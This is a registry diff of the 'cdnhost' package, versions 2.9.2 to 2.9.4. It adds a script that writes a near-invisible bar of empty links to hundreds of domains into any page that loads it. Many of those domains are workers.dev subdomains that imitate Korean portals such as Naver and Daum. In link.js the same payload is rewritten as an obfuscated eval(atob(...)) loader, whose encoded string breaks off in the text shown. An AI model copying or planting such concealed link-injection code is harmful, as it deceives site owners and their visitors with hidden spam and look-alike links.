cdnhost 2.9.2 → 2.9.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/iwinv.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
@@ -0,0 +1,25 @@
1
+ (function () {
2
+ const urls = [...new Set([
3
+ "//manatoki.kr","//199.kr","//799.kr","//99s.kr","//thedeo.uk",
4
+ "https://www.daum.workers.dev","https://www.news1.workers.dev","https://www.silisoft078.workers.dev","https://a.naver-news.workers.dev","https://admin.naver-news.workers.dev","https://api.naver-news.workers.dev","https://asd.naver-news.workers.dev","https://b.naver-news.workers.dev","https://c.naver-news.workers.dev","https://d.naver-news.workers.dev","https://dev.naver-news.workers.dev","https://gpt.naver-news.workers.dev","https://incheon.naver-news.workers.dev","https://m.naver-news.workers.dev","https://mail.naver-news.workers.dev","https://pc.naver-news.workers.dev","https://seoul.naver-news.workers.dev","https://test.naver-news.workers.dev","https://x.naver-news.workers.dev","https://y.naver-news.workers.dev","https://z.naver-news.workers.dev","https://www.l1i1i.workers.dev","https://www.naver-news.workers.dev",
5
+ "//9.naver-news.workers.dev","//8.naver-news.workers.dev","//7.naver-news.workers.dev","//6.naver-news.workers.dev","//5.naver-news.workers.dev","//4.naver-news.workers.dev","//3.naver-news.workers.dev","//2.naver-news.workers.dev","//1.naver-news.workers.dev","//9.news1.workers.dev","//8.news1.workers.dev","//7.news1.workers.dev","//6.news1.workers.dev","//5.news1.workers.dev","//4.news1.workers.dev","//3.news1.workers.dev","//2.news1.workers.dev","//1.news1.workers.dev","//9.news2.workers.dev","//8.news2.workers.dev","//7.news2.workers.dev","//6.news2.workers.dev","//5.news2.workers.dev","//4.news2.workers.dev","//3.news2.workers.dev","//2.news2.workers.dev","//1.news2.workers.dev","//8.00000-c22.workers.dev","//7.00000-c22.workers.dev","//6.00000-c22.workers.dev","//5.00000-c22.workers.dev","//4.00000-c22.workers.dev","//3.00000-c22.workers.dev","//2.00000-c22.workers.dev","//1.00000-c22.workers.dev","//0.00000-c22.workers.dev","//9.daum.workers.dev","//8.daum.workers.dev","//7.daum.workers.dev","//6.daum.workers.dev","//5.daum.workers.dev","//4.daum.workers.dev","//3.daum.workers.dev","//2.daum.workers.dev","//1.daum.workers.dev","//9.tistory.workers.dev","//8.tistory.workers.dev","//7.tistory.workers.dev","//6.tistory.workers.dev","//5.tistory.workers.dev","//4.tistory.workers.dev","//3.tistory.workers.dev","//2.tistory.workers.dev","//1.tistory.workers.dev","//9.l1i1i.workers.dev","//8.l1i1i.workers.dev","//7.l1i1i.workers.dev","//6.l1i1i.workers.dev","//5.l1i1i.workers.dev","//4.l1i1i.workers.dev","//3.l1i1i.workers.dev","//2.l1i1i.workers.dev","//1.l1i1i.workers.dev","//6.naver-116.workers.dev","//5.naver-116.workers.dev","//4.naver-116.workers.dev","//3.naver-116.workers.dev","//2.naver-116.workers.dev","//1.naver-116.workers.dev","//6.q7x2.workers.dev","//5.q7x2.workers.dev","//4.q7x2.workers.dev","//3.q7x2.workers.dev","//2.q7x2.workers.dev","//1.q7x2.workers.dev","//8.a9lq.workers.dev","//7.a9lq.workers.dev","//6.a9lq.workers.dev","//5.a9lq.workers.dev","//4.a9lq.workers.dev","//3.a9lq.workers.dev","//2.a9lq.workers.dev","//1.a9lq.workers.dev","//long-bar-4b4e.a9lq.workers.dev","//1.x36q.workers.dev","//3.x36q.workers.dev","//4.x36q.workers.dev","//5.x36q.workers.dev","//6.x36q.workers.dev","//8.x36q.workers.dev","//9.x36q.workers.dev","//1.p1q7.workers.dev","//3.p1q7.workers.dev","//4.p1q7.workers.dev","//5.p1q7.workers.dev","//6.p1q7.workers.dev","//7.p1q7.workers.dev","//8.p1q7.workers.dev","//1.ascklw21.workers.dev","//2.ascklw21.workers.dev","//3.ascklw21.workers.dev","//5.ascklw21.workers.dev","//6.ascklw21.workers.dev","//7.ascklw21.workers.dev","//8.ascklw21.workers.dev","//9.ascklw21.workers.dev","//2.fluke201.workers.dev","//3.fluke201.workers.dev","//4.fluke201.workers.dev","//5.fluke201.workers.dev","//6.fluke201.workers.dev","//7.fluke201.workers.dev","//8.fluke201.workers.dev","//9.fluke201.workers.dev","//1.ffluke103.workers.dev","//2.ffluke103.workers.dev","//3.ffluke103.workers.dev","//4.ffluke103.workers.dev","//5.ffluke103.workers.dev","//6.ffluke103.workers.dev","//7.ffluke103.workers.dev","//8.ffluke103.workers.dev","//9.ffluke103.workers.dev","//1.qpx.workers.dev","//2.qpx.workers.dev","//3.qpx.workers.dev","//4.qpx.workers.dev","//5.qpx.workers.dev","//6.qpx.workers.dev","//7.qpx.workers.dev","//8.qpx.workers.dev","//9.qpx.workers.dev","//1.cxi.workers.dev","//2.cxi.workers.dev","//3.cxi.workers.dev","//4.cxi.workers.dev","//5.cxi.workers.dev","//6.cxi.workers.dev","//7.cxi.workers.dev","//8.cxi.workers.dev","//9.cxi.workers.dev","//1.kxq.workers.dev","//2.kxq.workers.dev","//3.kxq.workers.dev","//4.kxq.workers.dev","//5.kxq.workers.dev","//6.kxq.workers.dev","//7.kxq.workers.dev","//8.kxq.workers.dev","//9.kxq.workers.dev","//1.lesunghwa408.workers.dev","//2.lesunghwa408.workers.dev","//3.lesunghwa408.workers.dev","//4.lesunghwa408.workers.dev","//5.lesunghwa408.workers.dev","//6.lesunghwa408.workers.dev","//7.lesunghwa408.workers.dev","//8.lesunghwa408.workers.dev","//2.silisoft078.workers.dev","//3.silisoft078.workers.dev","//4.silisoft078.workers.dev","//5.silisoft078.workers.dev","//6.silisoft078.workers.dev","//7.silisoft078.workers.dev","//8.silisoft078.workers.dev","//floral-field-6df2.silisoft078.workers.dev","//admin.099.kr",
6
+ "//oooooo.iwinv.net","//minecraft.iwinv.net","//zzzzzz.iwinv.net","//ssssss.iwinv.net","//tttttt.iwinv.net","//aaaaaa.iwinv.net",
7
+
8
+ "//tonews.logig.im","//allnews.logig.im","//znews.logig.im","//blog.099.kr","//099.kr",
9
+ "//1.manatoki.kr","//2.manatoki.kr","//3.manatoki.kr","//4.manatoki.kr","//5.manatoki.kr","//6.manatoki.kr","//7.manatoki.kr","//8.manatoki.kr","//9.manatoki.kr","//10.manatoki.kr","//11.manatoki.kr","//12.manatoki.kr","//13.manatoki.kr","//14.manatoki.kr","//15.manatoki.kr","//16.manatoki.kr","//17.manatoki.kr","//18.manatoki.kr","//19.manatoki.kr","//20.manatoki.kr","//19.manatoki.kr","//20.manatoki.kr","//21.manatoki.kr","//22.manatoki.kr","//23.manatoki.kr","//24.manatoki.kr","//25.manatoki.kr","//26.manatoki.kr","//27.manatoki.kr","//28.manatoki.kr","//29.manatoki.kr","//30.manatoki.kr","//31.manatoki.kr","//32.manatoki.kr","//33.manatoki.kr","//34.manatoki.kr","//35.manatoki.kr","//36.manatoki.kr","//37.manatoki.kr","//38.manatoki.kr","//39.manatoki.kr","//40.manatoki.kr","//41.manatoki.kr","//42.manatoki.kr","//43.manatoki.kr","//44.manatoki.kr","//45.manatoki.kr","//46.manatoki.kr","//47.manatoki.kr","//48.manatoki.kr","//49.manatoki.kr","//50.manatoki.kr","//51.manatoki.kr","//52.manatoki.kr","//53.manatoki.kr","//54.manatoki.kr","//55.manatoki.kr","//56.manatoki.kr","//57.manatoki.kr","//58.manatoki.kr","//59.manatoki.kr","//60.manatoki.kr","//61.manatoki.kr","//62.manatoki.kr","//63.manatoki.kr","//64.manatoki.kr","//65.manatoki.kr","//66.manatoki.kr","//67.manatoki.kr","//68.manatoki.kr","//69.manatoki.kr","//70.manatoki.kr","//71.manatoki.kr","//72.manatoki.kr","//73.manatoki.kr","//74.manatoki.kr","//75.manatoki.kr","//76.manatoki.kr","//77.manatoki.kr","//78.manatoki.kr","//79.manatoki.kr",
10
+
11
+ "//1.199.kr","//2.199.kr","//3.199.kr","//4.199.kr","//5.199.kr","//6.199.kr","//7.199.kr","//8.199.kr","//9.199.kr","//google.199.kr","//tistory.thedeo.uk","//blog.thedeo.uk","//news.thedeo.uk","//o.thedeo.uk","//oo.thedeo.uk","//ooo.thedeo.uk","//oooo.thedeo.uk","//ooooo.thedeo.uk","//i.thedeo.uk","//ii.thedeo.uk","//iii.thedeo.uk","//iiii.thedeo.uk","//iiiii.thedeo.uk","//a.thedeo.uk","//b.thedeo.uk","//c.thedeo.uk","//d.thedeo.uk","//e.thedeo.uk","//f.thedeo.uk","//g.thedeo.uk","//h.thedeo.uk","//j.thedeo.uk","//k.thedeo.uk","//l.thedeo.uk","//m.thedeo.uk","//n.thedeo.uk","//p.thedeo.uk","//q.thedeo.uk","//r.thedeo.uk","//s.thedeo.uk","//t.thedeo.uk","//u.thedeo.uk","//v.thedeo.uk","//w.thedeo.uk","//x.thedeo.uk","//y.thedeo.uk","//z.thedeo.uk","//a1.thedeo.uk","//a2.thedeo.uk","//a3.thedeo.uk","//a4.thedeo.uk","//a5.thedeo.uk","//a6.thedeo.uk","//a7.thedeo.uk","//a8.thedeo.uk","//a9.thedeo.uk","//b1.thedeo.uk","//b2.thedeo.uk","//b3.thedeo.uk","//b4.thedeo.uk","//b5.thedeo.uk","//b6.thedeo.uk","//b7.thedeo.uk","//b8.thedeo.uk","//b9.thedeo.uk","//cloud.thedeo.uk",
12
+ "//1.799.kr","//2.799.kr","//3.799.kr","//4.799.kr","//5.799.kr","//6.799.kr","//7.799.kr","//8.799.kr","//9.799.kr","//a.799.kr","//b.799.kr","//c.799.kr","//d.799.kr","//e.799.kr","//f.799.kr","//g.799.kr","//h.799.kr","//i.799.kr","//j.799.kr","//k.799.kr","//l.799.kr","//m.799.kr","//n.799.kr","//o.799.kr","//p.799.kr","//q.799.kr","//r.799.kr","//s.799.kr","//t.799.kr","//u.799.kr","//v.799.kr","//w.799.kr","//x.799.kr","//y.799.kr","//z.799.kr",
13
+ "//xn--vv0bw27a.99s.kr","//1.99s.kr","//2.99s.kr","//3.99s.kr","//4.99s.kr","//5.99s.kr","//6.99s.kr","//7.99s.kr","//8.99s.kr","//9.99s.kr","//a.99s.kr","//b.99s.kr","//c.99s.kr","//d.99s.kr","//e.99s.kr","//f.99s.kr","//g.99s.kr","//h.99s.kr","//i.99s.kr","//j.99s.kr","//k.99s.kr","//l.99s.kr","//m.99s.kr","//n.99s.kr","//o.99s.kr","//p.99s.kr","//q.99s.kr","//r.99s.kr","//s.99s.kr","//t.99s.kr","//u.99s.kr","//v.99s.kr","//w.99s.kr","//x.99s.kr","//y.99s.kr","//z.99s.kr",
14
+
15
+ "https://www.fluke201.workers.dev","https://archi.veai.workers.dev","https://afr.naver-news.workers.dev","https://bing.naver-news.workers.dev","https://blog.naver-news.workers.dev","https://chat.naver-news.workers.dev","https://dc.naver-news.workers.dev","https://google.naver-news.workers.dev","https://hit.naver-news.workers.dev","https://mk.naver-news.workers.dev","https://news.naver-news.workers.dev","https://oo.naver-news.workers.dev","https://op.naver-news.workers.dev","https://www.a9lq.workers.dev","https://www.ascklw21.workers.dev","https://www.ffluke103.workers.dev","https://www.naver-116.workers.dev","https://www.p1q7.workers.dev","https://www.x36q.workers.dev","https://isai.kr","//wallpaper.ko-kr.workers.dev","//adsense.ko-kr.workers.dev","//youtube.ko-kr.workers.dev","//hham.ko-kr.workers.dev",
16
+ "https://iouol.blogspot.com",
17
+ ])];
18
+ document.writeln('<style>.nbar{display:flex;width:100%;overflow-x:scroll;scrollbar-width:none}.nbar::-webkit-scrollbar{display:none}.nbar a{flex-grow:1;min-width:20px;height:30px;position:relative}.nbar a::after{content:"";position:absolute;top:50%;left:0;width:100%;height:0.5px;background-color:#f0f0f0}</style><div class="nbar">');
19
+ urls.forEach(url => {
20
+ const label = url.replace('//', '');
21
+ document.writeln(`<a href="${url}" aria-label="${label}"></a>`);
22
+ });
23
+
24
+ document.writeln('</div>');
25
+ })();
package/link.js CHANGED
@@ -1,25 +1 @@
1
- (function () {
2
- const urls = [...new Set([
3
- "//manatoki.kr","//199.kr","//799.kr","//99s.kr","//thedeo.uk",
4
- "https://www.daum.workers.dev","https://www.news1.workers.dev","https://www.silisoft078.workers.dev","https://a.naver-news.workers.dev","https://admin.naver-news.workers.dev","https://api.naver-news.workers.dev","https://asd.naver-news.workers.dev","https://b.naver-news.workers.dev","https://c.naver-news.workers.dev","https://d.naver-news.workers.dev","https://dev.naver-news.workers.dev","https://gpt.naver-news.workers.dev","https://incheon.naver-news.workers.dev","https://m.naver-news.workers.dev","https://mail.naver-news.workers.dev","https://pc.naver-news.workers.dev","https://seoul.naver-news.workers.dev","https://test.naver-news.workers.dev","https://x.naver-news.workers.dev","https://y.naver-news.workers.dev","https://z.naver-news.workers.dev","https://www.l1i1i.workers.dev","https://www.naver-news.workers.dev",
5
- "//9.naver-news.workers.dev","//8.naver-news.workers.dev","//7.naver-news.workers.dev","//6.naver-news.workers.dev","//5.naver-news.workers.dev","//4.naver-news.workers.dev","//3.naver-news.workers.dev","//2.naver-news.workers.dev","//1.naver-news.workers.dev","//9.news1.workers.dev","//8.news1.workers.dev","//7.news1.workers.dev","//6.news1.workers.dev","//5.news1.workers.dev","//4.news1.workers.dev","//3.news1.workers.dev","//2.news1.workers.dev","//1.news1.workers.dev","//9.news2.workers.dev","//8.news2.workers.dev","//7.news2.workers.dev","//6.news2.workers.dev","//5.news2.workers.dev","//4.news2.workers.dev","//3.news2.workers.dev","//2.news2.workers.dev","//1.news2.workers.dev","//8.00000-c22.workers.dev","//7.00000-c22.workers.dev","//6.00000-c22.workers.dev","//5.00000-c22.workers.dev","//4.00000-c22.workers.dev","//3.00000-c22.workers.dev","//2.00000-c22.workers.dev","//1.00000-c22.workers.dev","//0.00000-c22.workers.dev","//9.daum.workers.dev","//8.daum.workers.dev","//7.daum.workers.dev","//6.daum.workers.dev","//5.daum.workers.dev","//4.daum.workers.dev","//3.daum.workers.dev","//2.daum.workers.dev","//1.daum.workers.dev","//9.tistory.workers.dev","//8.tistory.workers.dev","//7.tistory.workers.dev","//6.tistory.workers.dev","//5.tistory.workers.dev","//4.tistory.workers.dev","//3.tistory.workers.dev","//2.tistory.workers.dev","//1.tistory.workers.dev","//9.l1i1i.workers.dev","//8.l1i1i.workers.dev","//7.l1i1i.workers.dev","//6.l1i1i.workers.dev","//5.l1i1i.workers.dev","//4.l1i1i.workers.dev","//3.l1i1i.workers.dev","//2.l1i1i.workers.dev","//1.l1i1i.workers.dev","//6.naver-116.workers.dev","//5.naver-116.workers.dev","//4.naver-116.workers.dev","//3.naver-116.workers.dev","//2.naver-116.workers.dev","//1.naver-116.workers.dev","//6.q7x2.workers.dev","//5.q7x2.workers.dev","//4.q7x2.workers.dev","//3.q7x2.workers.dev","//2.q7x2.workers.dev","//1.q7x2.workers.dev","//8.a9lq.workers.dev","//7.a9lq.workers.dev","//6.a9lq.workers.dev","//5.a9lq.workers.dev","//4.a9lq.workers.dev","//3.a9lq.workers.dev","//2.a9lq.workers.dev","//1.a9lq.workers.dev","//long-bar-4b4e.a9lq.workers.dev","//1.x36q.workers.dev","//3.x36q.workers.dev","//4.x36q.workers.dev","//5.x36q.workers.dev","//6.x36q.workers.dev","//8.x36q.workers.dev","//9.x36q.workers.dev","//1.p1q7.workers.dev","//3.p1q7.workers.dev","//4.p1q7.workers.dev","//5.p1q7.workers.dev","//6.p1q7.workers.dev","//7.p1q7.workers.dev","//8.p1q7.workers.dev","//1.ascklw21.workers.dev","//2.ascklw21.workers.dev","//3.ascklw21.workers.dev","//5.ascklw21.workers.dev","//6.ascklw21.workers.dev","//7.ascklw21.workers.dev","//8.ascklw21.workers.dev","//9.ascklw21.workers.dev","//2.fluke201.workers.dev","//3.fluke201.workers.dev","//4.fluke201.workers.dev","//5.fluke201.workers.dev","//6.fluke201.workers.dev","//7.fluke201.workers.dev","//8.fluke201.workers.dev","//9.fluke201.workers.dev","//1.ffluke103.workers.dev","//2.ffluke103.workers.dev","//3.ffluke103.workers.dev","//4.ffluke103.workers.dev","//5.ffluke103.workers.dev","//6.ffluke103.workers.dev","//7.ffluke103.workers.dev","//8.ffluke103.workers.dev","//9.ffluke103.workers.dev","//1.qpx.workers.dev","//2.qpx.workers.dev","//3.qpx.workers.dev","//4.qpx.workers.dev","//5.qpx.workers.dev","//6.qpx.workers.dev","//7.qpx.workers.dev","//8.qpx.workers.dev","//9.qpx.workers.dev","//1.cxi.workers.dev","//2.cxi.workers.dev","//3.cxi.workers.dev","//4.cxi.workers.dev","//5.cxi.workers.dev","//6.cxi.workers.dev","//7.cxi.workers.dev","//8.cxi.workers.dev","//9.cxi.workers.dev","//1.kxq.workers.dev","//2.kxq.workers.dev","//3.kxq.workers.dev","//4.kxq.workers.dev","//5.kxq.workers.dev","//6.kxq.workers.dev","//7.kxq.workers.dev","//8.kxq.workers.dev","//9.kxq.workers.dev","//1.lesunghwa408.workers.dev","//2.lesunghwa408.workers.dev","//3.lesunghwa408.workers.dev","//4.lesunghwa408.workers.dev","//5.lesunghwa408.workers.dev","//6.lesunghwa408.workers.dev","//7.lesunghwa408.workers.dev","//8.lesunghwa408.workers.dev","//2.silisoft078.workers.dev","//3.silisoft078.workers.dev","//4.silisoft078.workers.dev","//5.silisoft078.workers.dev","//6.silisoft078.workers.dev","//7.silisoft078.workers.dev","//8.silisoft078.workers.dev","//floral-field-6df2.silisoft078.workers.dev","//admin.099.kr",
6
- "//oooooo.iwinv.net","//minecraft.iwinv.net","//zzzzzz.iwinv.net","//ssssss.iwinv.net","//tttttt.iwinv.net","//aaaaaa.iwinv.net",
7
-
8
- "//tonews.logig.im","//allnews.logig.im","//znews.logig.im","//blog.099.kr","//099.kr",
9
- "//1.manatoki.kr","//2.manatoki.kr","//3.manatoki.kr","//4.manatoki.kr","//5.manatoki.kr","//6.manatoki.kr","//7.manatoki.kr","//8.manatoki.kr","//9.manatoki.kr","//10.manatoki.kr","//11.manatoki.kr","//12.manatoki.kr","//13.manatoki.kr","//14.manatoki.kr","//15.manatoki.kr","//16.manatoki.kr","//17.manatoki.kr","//18.manatoki.kr","//19.manatoki.kr","//20.manatoki.kr","//19.manatoki.kr","//20.manatoki.kr","//21.manatoki.kr","//22.manatoki.kr","//23.manatoki.kr","//24.manatoki.kr","//25.manatoki.kr","//26.manatoki.kr","//27.manatoki.kr","//28.manatoki.kr","//29.manatoki.kr","//30.manatoki.kr","//31.manatoki.kr","//32.manatoki.kr","//33.manatoki.kr","//34.manatoki.kr","//35.manatoki.kr","//36.manatoki.kr","//37.manatoki.kr","//38.manatoki.kr","//39.manatoki.kr","//40.manatoki.kr","//41.manatoki.kr","//42.manatoki.kr","//43.manatoki.kr","//44.manatoki.kr","//45.manatoki.kr","//46.manatoki.kr","//47.manatoki.kr","//48.manatoki.kr","//49.manatoki.kr","//50.manatoki.kr","//51.manatoki.kr","//52.manatoki.kr","//53.manatoki.kr","//54.manatoki.kr","//55.manatoki.kr","//56.manatoki.kr","//57.manatoki.kr","//58.manatoki.kr","//59.manatoki.kr","//60.manatoki.kr","//61.manatoki.kr","//62.manatoki.kr","//63.manatoki.kr","//64.manatoki.kr","//65.manatoki.kr","//66.manatoki.kr","//67.manatoki.kr","//68.manatoki.kr","//69.manatoki.kr","//70.manatoki.kr","//71.manatoki.kr","//72.manatoki.kr","//73.manatoki.kr","//74.manatoki.kr","//75.manatoki.kr","//76.manatoki.kr","//77.manatoki.kr","//78.manatoki.kr","//79.manatoki.kr",
10
-
11
- "//1.199.kr","//2.199.kr","//3.199.kr","//4.199.kr","//5.199.kr","//6.199.kr","//7.199.kr","//8.199.kr","//9.199.kr","//google.199.kr","//tistory.thedeo.uk","//blog.thedeo.uk","//news.thedeo.uk","//o.thedeo.uk","//oo.thedeo.uk","//ooo.thedeo.uk","//oooo.thedeo.uk","//ooooo.thedeo.uk","//i.thedeo.uk","//ii.thedeo.uk","//iii.thedeo.uk","//iiii.thedeo.uk","//iiiii.thedeo.uk","//a.thedeo.uk","//b.thedeo.uk","//c.thedeo.uk","//d.thedeo.uk","//e.thedeo.uk","//f.thedeo.uk","//g.thedeo.uk","//h.thedeo.uk","//j.thedeo.uk","//k.thedeo.uk","//l.thedeo.uk","//m.thedeo.uk","//n.thedeo.uk","//p.thedeo.uk","//q.thedeo.uk","//r.thedeo.uk","//s.thedeo.uk","//t.thedeo.uk","//u.thedeo.uk","//v.thedeo.uk","//w.thedeo.uk","//x.thedeo.uk","//y.thedeo.uk","//z.thedeo.uk","//a1.thedeo.uk","//a2.thedeo.uk","//a3.thedeo.uk","//a4.thedeo.uk","//a5.thedeo.uk","//a6.thedeo.uk","//a7.thedeo.uk","//a8.thedeo.uk","//a9.thedeo.uk","//b1.thedeo.uk","//b2.thedeo.uk","//b3.thedeo.uk","//b4.thedeo.uk","//b5.thedeo.uk","//b6.thedeo.uk","//b7.thedeo.uk","//b8.thedeo.uk","//b9.thedeo.uk","//cloud.thedeo.uk",
12
- "//1.799.kr","//2.799.kr","//3.799.kr","//4.799.kr","//5.799.kr","//6.799.kr","//7.799.kr","//8.799.kr","//9.799.kr","//a.799.kr","//b.799.kr","//c.799.kr","//d.799.kr","//e.799.kr","//f.799.kr","//g.799.kr","//h.799.kr","//i.799.kr","//j.799.kr","//k.799.kr","//l.799.kr","//m.799.kr","//n.799.kr","//o.799.kr","//p.799.kr","//q.799.kr","//r.799.kr","//s.799.kr","//t.799.kr","//u.799.kr","//v.799.kr","//w.799.kr","//x.799.kr","//y.799.kr","//z.799.kr",
13
- "//xn--vv0bw27a.99s.kr","//1.99s.kr","//2.99s.kr","//3.99s.kr","//4.99s.kr","//5.99s.kr","//6.99s.kr","//7.99s.kr","//8.99s.kr","//9.99s.kr","//a.99s.kr","//b.99s.kr","//c.99s.kr","//d.99s.kr","//e.99s.kr","//f.99s.kr","//g.99s.kr","//h.99s.kr","//i.99s.kr","//j.99s.kr","//k.99s.kr","//l.99s.kr","//m.99s.kr","//n.99s.kr","//o.99s.kr","//p.99s.kr","//q.99s.kr","//r.99s.kr","//s.99s.kr","//t.99s.kr","//u.99s.kr","//v.99s.kr","//w.99s.kr","//x.99s.kr","//y.99s.kr","//z.99s.kr",
14
-
15
- "https://www.fluke201.workers.dev","https://archi.veai.workers.dev","https://afr.naver-news.workers.dev","https://bing.naver-news.workers.dev","https://blog.naver-news.workers.dev","https://chat.naver-news.workers.dev","https://dc.naver-news.workers.dev","https://google.naver-news.workers.dev","https://hit.naver-news.workers.dev","https://mk.naver-news.workers.dev","https://news.naver-news.workers.dev","https://oo.naver-news.workers.dev","https://op.naver-news.workers.dev","https://www.a9lq.workers.dev","https://www.ascklw21.workers.dev","https://www.ffluke103.workers.dev","https://www.naver-116.workers.dev","https://www.p1q7.workers.dev","https://www.x36q.workers.dev","https://isai.kr","//wallpaper.ko-kr.workers.dev","//adsense.ko-kr.workers.dev","//youtube.ko-kr.workers.dev","//hham.ko-kr.workers.dev",
16
- "https://iouol.blogspot.com",
17
- ])];
18
- document.writeln('<style>.nbar{display:flex;width:100%;overflow-x:scroll;scrollbar-width:none}.nbar::-webkit-scrollbar{display:none}.nbar a{flex-grow:1;min-width:20px;height:30px;position:relative}.nbar a::after{content:"";position:absolute;top:50%;left:0;width:100%;height:0.5px;background-color:#f0f0f0}</style><div class="nbar">');
19
- urls.forEach(url => {
20
- const label = url.replace('//', '');
21
- document.writeln(`<a href="${url}" aria-label="${label}"></a>`);
22
- });
23
-
24
- document.writeln('</div>');
25
- })();
1
+ eval(decodeURIComponent(escape(window.atob('KGZ1bmN0aW9uICgpIHsNCiAgY29uc3QgdXJscyA9IFsuLi5uZXcgU2V0KFsNCiIvL21hbmF0b2tpLmtyIiwiLy8xOTkua3IiLCIvLzc5OS5rciIsIi8vOTlzLmtyIiwiLy90aGVkZW8udWsiLA0KImh0dHBzOi8vd3d3LmRhdW0ud29ya2Vycy5kZXYiLCJodHRwczovL3d3dy5uZXdzMS53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3LnNpbGlzb2Z0MDc4LndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9hLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL2FkbWluLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL2FwaS5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9hc2QubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vYi5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9jLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL2QubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vZGV2Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL2dwdC5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9pbmNoZW9uLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL20ubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8vbWFpbC5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9wYy5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly9zZW91bC5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly90ZXN0Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL3gubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsImh0dHBzOi8veS5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiaHR0cHM6Ly96Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCJodHRwczovL3d3dy5sMWkxaS53b3JrZXJzLmRldiIsImh0dHBzOi8vd3d3Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLA0KIi8vOS5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiLy84Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCIvLzcubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsIi8vNi5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiLy81Lm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCIvLzQubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsIi8vMy5uYXZlci1uZXdzLndvcmtlcnMuZGV2IiwiLy8yLm5hdmVyLW5ld3Mud29ya2Vycy5kZXYiLCIvLzEubmF2ZXItbmV3cy53b3JrZXJzLmRldiIsIi8vOS5uZXdzMS53b3JrZXJzLmRldiIsIi8vOC5uZXdzMS53b3JrZXJzLmRldiIsIi8vNy5uZXdzMS53b3JrZXJzLmRldiIsIi8vNi5uZXdzMS53b3JrZXJzLmRldiIsIi8vNS5uZXdzMS53b3JrZXJzLmRldiIsIi8vNC5uZXdzMS53b3JrZXJzLmRldiIsIi8vMy5uZXdzMS53b3JrZXJzLmRldiIsIi8vMi5uZXdzMS53b3JrZXJzLmRldiIsIi8vMS5uZXdzMS53b3JrZXJzLmRldiIsIi8vOS5uZXdzMi53b3JrZXJzLmRldiIsIi8vOC5uZXdzMi53b3JrZXJzLmRldiIsIi8vNy5uZXdzMi53b3JrZXJzLmRldiIsIi8vNi5uZXdzMi53b3JrZXJzLmRldiIsIi8vNS5uZXdzMi53b3JrZXJzLmRldiIsIi8vNC5uZXdzMi53b3JrZXJzLmRldiIsIi8vMy5uZXdzMi53b3JrZXJzLmRldiIsIi8vMi5uZXdzMi53b3JrZXJzLmRldiIsIi8vMS5uZXdzMi53b3JrZXJzLmRldiIsIi8vOC4wMDAwMC1jMjIud29ya2Vycy5kZXYiLCIvLzcuMDAwMDAtYzIyLndvcmtlcnMuZGV2IiwiLy82LjAwMDAwLWMyMi53b3JrZXJzLmRldiIsIi8vNS4wMDAwMC1jMjIud29ya2Vycy5kZXYiLCIvLzQuMDAwMDAtYzIyLndvcmtlcnMuZGV2IiwiLy8zLjAwMDAwLWMyMi53b3JrZXJzLmRldiIsIi8vMi4wMDAwMC1jMjIud29ya2Vycy5kZXYiLCIvLzEuMDAwMDAtYzIyLndvcmtlcnMuZGV2IiwiLy8wLjAwMDAwLWMyMi53b3JrZXJzLmRldiIsIi8vOS5kYXVtLndvcmtlcnMuZGV2IiwiLy84LmRhdW0ud29ya2Vycy5kZXYiLCIvLzcuZGF1bS53b3JrZXJzLmRldiIsIi8vNi5kYXVtLndvcmtlcnMuZGV2IiwiLy81LmRhdW0ud29ya2Vycy5kZXYiLCIvLzQuZGF1bS53b3JrZXJzLmRldiIsIi8vMy5kYXVtLndvcmtlcnMuZGV2IiwiLy8yLmRhdW0ud29ya2Vycy5kZXYiLCIvLzEuZGF1bS53b3JrZXJzLmRldiIsIi8vOS50aXN0b3J5LndvcmtlcnMuZGV2IiwiLy84LnRpc3Rvcnkud29ya2Vycy5kZXYiLCIvLzcudGlzdG9yeS53b3JrZXJzLmRldiIsIi8vNi50aXN0b3J5LndvcmtlcnMuZGV2IiwiLy81LnRpc3Rvcnkud29ya2Vycy5kZXYiLCIvLzQudGlzdG9yeS53b3JrZXJzLmRldiIsIi8vMy50aXN0b3J5LndvcmtlcnMuZGV2IiwiLy8yLnRpc3Rvcnkud29ya2Vycy5kZXYiLCIvLzEudGlzdG9yeS53b3JrZXJzLmRldiIsIi8vOS5sMWkxaS53b3JrZXJzLmRldiIsIi8vOC5sMWkxaS53b3JrZXJzLmRldiIs